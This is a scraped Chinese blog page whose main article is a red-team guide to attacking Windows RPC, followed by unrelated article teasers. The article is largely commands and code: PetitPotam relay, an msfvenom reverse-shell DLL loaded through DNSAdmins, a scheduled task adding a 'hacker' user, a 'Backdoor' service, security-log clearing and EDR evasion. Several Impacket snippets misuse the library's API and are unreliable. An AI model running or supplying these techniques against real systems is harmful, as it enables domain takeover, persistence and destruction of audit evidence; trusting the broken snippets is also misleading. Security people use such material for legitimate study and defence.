news 2026/5/9 22:11:25

从红队实战角度解析Windows RPC协议的渗透利用技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从红队实战角度解析Windows RPC协议的渗透利用技巧

1. Windows RPC协议基础与红队视角

Windows RPC(Remote Procedure Call)是微软实现的一套进程间通信机制,它允许程序像调用本地函数一样执行远程计算机上的代码。在红队行动中,RPC协议就像一把"万能钥匙"——AD域控、文件服务器、数据库服务等核心系统都依赖RPC进行通信,这使得它成为内网渗透的重要突破口。

我曾在一次实战中遇到这样的情况:通过一个普通的域用户权限,利用RPC协议漏洞在30分钟内就拿到了域控权限。这让我深刻认识到,理解RPC协议的工作机制对红队工程师而言,就像厨师了解火候一样关键。

1.1 RPC协议的三层架构

Windows RPC协议栈可以形象地比作一个快递系统:

  • 应用层:就像寄件人填写快递单,定义要调用的函数(如创建用户、执行命令)
  • MIDL层:类似快递打包站,将参数序列化为NDR(Network Data Representation)格式
  • 传输层:相当于快递运输,支持以下通道:
    - TCP/IP(ncacn_ip_tcp) - SMB命名管道(ncacn_np) - HTTP(ncacn_http) - Local RPC(ncalrpc)

1.2 关键端口与服务

在实战中,这些端口就像攻击面的"地标":

  • 135端口:RPC Endpoint Mapper,相当于服务目录中心
  • 动态端口:49152-65535范围内,实际服务运行端口
  • 445端口:SMB上的RPC调用通道

通过以下命令可以快速定位服务位置:

rpcdump.py 192.168.1.100 | grep -i "MS-TSCH" # 查找任务计划服务

1.3 RPC与AD域的关系

Active Directory中80%的核心功能都依赖RPC协议,比如:

  • 域用户认证(Netlogon服务)
  • 组策略同步(GPO)
  • 域控间数据复制(DRS接口)

在一次红队演练中,我们曾通过PetitPotam漏洞强制域控向我们的服务器发起认证,仅用以下命令就实现了NTLM中继攻击:

python3 petitpotam.py -d demo.com -u user -p pass 192.168.1.1 10.0.0.2

2. RPC信息收集技巧

2.1 服务枚举技术

使用Impacket工具包可以像"雷达扫描"一样发现可用服务:

rpcdump.py 192.168.1.100 | tee rpc_services.txt

典型输出示例:

Protocol: [MS-TSCH] Task Scheduler Provider: taskcomp.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.0

2.2 网卡信息泄露

通过IOXIDResolver接口可以无需认证获取目标网卡信息,这在定位"跳板机"时特别有用:

from impacket.dcerpc.v5 import transport, ioxidresolver binding = r'ncacn_ip_tcp:192.168.1.100[135]' trans = transport.DCERPCTransportFactory(binding).get_dce_rpc() trans.connect() dce = ioxidresolver.IOXIDResolver(trans) dce.ServerAlive2()

这个技巧曾帮助我们在某次演练中发现了管理员疏忽暴露的双网卡服务器。

2.3 用户与组枚举

当获取到低权限账户后,rpcclient就像一把"万能钥匙":

rpcclient -U 'user%password' 192.168.1.100 -c 'enumdomusers'

输出示例:

user:[Administrator] rid:[0x1f4] user:[SQLService] rid:[0x452]

3. 权限提升实战手法

3.1 MS-SAMR密码修改漏洞

在拿到普通用户权限后,可以通过SAMR接口修改密码(需知道原密码):

from impacket.dcerpc.v5 import samr # 建立SAMR连接 samr_con = samr.SamrConnect2(target_ip) # 打开域账户 user_handle = samr.SamrOpenUser(samr_con, user_rid) # 修改密码 samr.SamrChangePasswordUser(user_handle, old_pw, new_pw)

3.2 DNSAdmin到SYSTEM提权

当用户属于DNSAdmins组时,可以通过加载恶意DLL实现提权:

  1. 生成恶意DLL:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > evil.dll
  2. 通过RPC配置DNS服务:
    dnscmd.exe /config /serverlevelplugindll \\10.0.0.1\share\evil.dll
  3. 重启DNS服务触发

3.3 计划任务滥用

通过MS-TSCH接口创建隐藏计划任务:

from impacket.dcerpc.v5 import tsch # 创建XML任务定义 xml = """<?xml version="1.0"?> <Task><Actions><Exec> <Command>cmd.exe</Command> <Arguments>/c "net user hacker P@ssw0rd /add"</Arguments> </Exec></Actions></Task>""" # 调用RPC接口 tsch.SchRpcRegisterTask(target_ip, "\\evil_task", xml, 0x2, None, 0)

4. 横向移动高级技巧

4.1 票据传递攻击

当获取到Kerberos票据后,可以通过RPC进行验证:

export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass domain/admin@dc01.demo.com

4.2 打印机漏洞利用

利用MS-RPRN强制认证进行中继攻击:

from impacket.dcerpc.v5 import rprn binding = r'ncacn_np:192.168.1.100[\PIPE\spoolss]' dce = rprn.DCERPC(binding) dce.bind(rprn.MSRPC_UUID_RPRN) dce.call(rprn.RpcRemoteFindFirstPrinterChangeNotificationEx, ...)

4.3 服务控制器滥用

通过MS-SCMR接口远程创建服务:

from impacket.dcerpc.v5 import scmr # 连接服务控制器 scmr_con = scmr.OpenSCManagerW(target_ip) # 创建服务 service = scmr.CreateServiceW(scmr_con, "Backdoor", "Backdoor", lpBinaryPathName="cmd.exe /c calc.exe") # 启动服务 scmr.StartServiceW(scmr_con, service['lpServiceHandle'])

5. 防御规避与反制

5.1 绕过EDR检测

通过直接RPC调用替代常见命令:

  • SamrEnumerateUsersInDomain替代net user
  • NetrShareEnum替代net share

5.2 日志清除技术

通过事件日志RPC接口清除日志:

from impacket.dcerpc.v5 import even dce = even.DCERPC(binding) dce.bind(even.MSRPC_UUID_EVEN) dce.call(even.ElfrClearELFW, "Security")

5.3 隐蔽通道构建

利用RPC over HTTP创建隐蔽通道:

RpcServerUseProtseqEp( L"ncacn_http", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, L"8080", NULL);

在实战中,我曾见过攻击者将RPC流量伪装成正常HTTPS通信,持续潜伏超过6个月未被发现。这提醒我们,防御方必须对RPC流量进行深度行为分析,而不仅仅是端口检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/9 5:37:36

Trello桌面版:高效任务管理新体验

Trello桌面版&#xff1a;高效任务管理新体验 【免费下载链接】trello-desktop An unofficial trello desktop app. 项目地址: https://gitcode.com/gh_mirrors/tr/trello-desktop 如何用Trello桌面应用提升30%工作效率&#xff1f;作为一款备受欢迎的项目管理工具&…

作者头像 李华
网站建设 2026/5/9 6:02:22

CDMN实时流式语音交互技术解析:从架构设计到性能优化

CDMN实时流式语音交互技术解析&#xff1a;从架构设计到性能优化 背景与痛点&#xff1a;高并发语音场景的三座大山 去年做在线英语陪练平台时&#xff0c;日活冲到 20 W 后&#xff0c;团队被“延迟、带宽、CPU”三座大山压得喘不过气&#xff1a; 延迟&#xff1a;公网 RTT …

作者头像 李华
网站建设 2026/5/8 21:47:02

零基础玩转软件无线电:GNU Radio实战指南

零基础玩转软件无线电&#xff1a;GNU Radio实战指南 【免费下载链接】gnuradio GNU Radio – the Free and Open Software Radio Ecosystem 项目地址: https://gitcode.com/gh_mirrors/gn/gnuradio 软件无线电入门不再需要昂贵的专业设备&#xff0c;GNU Radio作为免费…

作者头像 李华
网站建设 2026/5/9 0:42:28

PP-OCRv5重磅发布:多语言文本识别精准升级!

PP-OCRv5重磅发布&#xff1a;多语言文本识别精准升级&#xff01; 【免费下载链接】PP-OCRv5_server_rec 项目地址: https://ai.gitcode.com/paddlepaddle/PP-OCRv5_server_rec 导语 百度飞桨PaddleOCR团队正式发布最新一代文本行识别模型PP-OCRv5_server_rec&#x…

作者头像 李华
网站建设 2026/5/9 18:16:07

充电桩云平台架构设计与实践指南:从技术选型到场景落地

充电桩云平台架构设计与实践指南&#xff1a;从技术选型到场景落地 【免费下载链接】charging_pile_cloud 充电桩&#xff0c;共享充电桩 &#xff0c;小程序 项目地址: https://gitcode.com/gh_mirrors/ch/charging_pile_cloud 随着新能源汽车产业的爆发式增长&#xf…

作者头像 李华
网站建设 2026/5/9 18:37:02

6大云盘提速工具深度测评:直链提取技术如何突破下载限制

6大云盘提速工具深度测评&#xff1a;直链提取技术如何突破下载限制 【免费下载链接】Online-disk-direct-link-download-assistant 可以获取网盘文件真实下载地址。基于【网盘直链下载助手】修改&#xff08;改自6.1.4版本&#xff09; &#xff0c;自用&#xff0c;去推广&am…

作者头像 李华